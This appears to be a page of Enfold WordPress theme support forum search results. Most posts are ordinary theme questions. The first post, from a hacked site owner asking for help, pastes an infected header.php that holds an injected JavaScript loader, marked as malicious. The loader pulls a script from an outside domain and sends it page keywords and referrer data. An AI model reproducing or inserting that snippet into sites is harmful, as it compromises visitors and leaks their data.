-
Search Results
-
Topic: Enfold theme hacked.
It looks like I am getting constant malware attacks and when you scan it points to the header.php file. Almost all the sites on my hosting got infected so I had to changed the themes now all the other sites are clean and working fine except for the one with the enfold theme. SO i guess this has something to do with the theme. malicious code is always put before the closing </head> tag in header.php file. I update the theme but it comes back and infect again in a day or two say place and same code.
<?php if ( !defined('ABSPATH') ){ die(); } global $avia_config; $style = $avia_config['box_class']; $responsive = avia_get_option('responsive_active') != "disabled" ? "responsive" : "fixed_layout"; $blank = isset($avia_config['template']) ? $avia_config['template'] : ""; $av_lightbox = avia_get_option('lightbox_active') != "disabled" ? 'av-default-lightbox' : 'av-custom-lightbox'; $preloader = avia_get_option('preloader') == "preloader" ? 'av-preloader-active av-preloader-enabled' : 'av-preloader-disabled'; $sidebar_styling = avia_get_option('sidebar_styling'); $filterable_classes = avia_header_class( avia_header_class_string() ); ?><!DOCTYPE html> <html <?php language_attributes(); ?> class="<?php echo " html_{$style} ".$responsive." ".$preloader." ".$av_lightbox." ".$filterable_classes ?> "> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <!-- page title, displayed in your browser bar --> <title><?php if(function_exists('avia_set_title_tag')) { echo avia_set_title_tag(); } ?></title> <?php /* * outputs a rel=follow or nofollow tag to circumvent google duplicate content for archives * located in framework/php/function-set-avia-frontend.php */ if (function_exists('avia_set_follow')) { echo avia_set_follow(); } /* * outputs a favicon if defined */ if (function_exists('avia_favicon')) { echo avia_favicon(avia_get_option('favicon')); } ?> <!-- mobile setting --> <?php if( strpos($responsive, 'responsive') !== false ) echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">'; ?> <!-- Scripts/CSS and wp_head hook --> <?php wp_head(); ?> <!-- Malicious code start --> <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://sprousewindows.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://sprousewindows.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script> <!-- Malicious code end --> </head> <body id="top" <?php body_class($style." ".$avia_config['font_stack']." ".$blank." ".$sidebar_styling); avia_markup_helper(array('context' => 'body')); ?>> <?php if("av-preloader-active av-preloader-enabled" === $preloader) { echo avia_preload_screen(); } ?> <div id='wrap_all'> <?php if(!$blank) //blank templates dont display header nor footer { //fetch the template file that holds the main menu, located in includes/helper-menu-main.php get_template_part( 'includes/helper', 'main-menu' ); } ?> <div id='main' data-scroll-offset='<?php echo avia_header_setting('header_scroll_offset'); ?>'> <?php if(isset($avia_config['temp_logo_container'])) echo $avia_config['temp_logo_container']; do_action('ava_after_main_container'); ?>Hello,
I’ve been trying to solve this problem myself for hours, but can’t get it to work properly.
Here’s my question: I would like to add a custom “read more” link beneath each item in the masonry blog view, that gets populated with data from Advanced Custom Fields for linktext and linktarget. To achieve this, I need to output the link beneath each item and remove the A container that is wrapping each masonry blog post item.
I am able to put together the link just fine, but I fail at removing the A container and replacing it with a DIV – the layout gets messed up & the posts are not shown next to each other but underneath each other, every item in fullwidth (although I’m setting all the css classes that were used on the A container before).I used this code in my functions.php:
add_filter( 'avf_masonry_loop_prepare', 'avf_masonry_loop_prepare_mod_cat', 10, 2 ); function avf_masonry_loop_prepare_mod_cat( $key, $entries ) { $linktext = get_field('linktext', $key['ID']); $linktarget = get_field('linkziel', $key['ID']); if ( empty( $linktext ) ) { $linktext = "Mehr >"; } if ( empty( $linktarget ) ) { $linktarget = $key['url']; } $key['text_after'] .= " <span class='masonry-more-link-arrow'><a href='" . $linktarget . "' target='_self' class='readmore'>". $linktext ."</a></span>"; return $key; }And this Javascript code:
jQuery('document').ready(function(){ jQuery('a.av-masonry-entry').wrapInner('<div class="masonry-element"></div>'); jQuery('.masonry-element').addClass('av-masonry-entry isotope-item post type-post status-publish format-standard has-post-thumbnail hentry category-aktuelles av-masonry-item-with-image av-masonry-item-loaded'); if ( jQuery('.masonry-element').parent().is( "a" ) ) { jQuery('.masonry-element').unwrap(); } jQuery( '.masonry-element.av-masonry-entry:empty' ).remove(); });I hope I could make my problem clear!
Thank you in advance for your help!
Dear Enfold
The Enfold theme has recently been hacked on my clients’ site.
I have reinstalled the them with the latest version (3.6.1) and this has thankfully removed the hack. The page builder has however stopped working and the Twitter Icon (top bar & Contact page), the back to top arrow and the various icons on buttons throughout the site have all lost their icons. The buttons still function, but obviously it looks a bit cack without the proper icons.Any thoughts?
Regards as ever,
Ali
-Calendar Month Navigation text on top of calendar overlaps the link to previous month (top left)
-The next month link not appearing (top right) so future events can’t be seen one or more months in the future.I uploaded manually the latest Enfold files which didn’t help.
Hi
I would like to ask
Is it possible to link image to the site, but to the specific place in the text ?
example
http://www.mrmax2.nazwa.pl/pellet/oferta/ – first image links to the site
http://www.mrmax2.nazwa.pl/pellet/pellet/ – but to the top of site.
I would like to link it to the 3rd promo box.
thaks for help
regardsHi Team Kriesi,
I’m currently designing a website for a client and we are using the full-screen slider to display a video on the home page. We do want the video to autoplay with sound, however, we want to have an option for visitors to mute the sound. Is there a simple way of achieving this? I wasn’t able to find an inbuilt option for this.
I have searched the forums but couldn’t find any solution. I am sure other users would appreciate this option too.
Thanks,
David
Viewing 30 results - 94,081 through 94,110 (of 142,830 total)

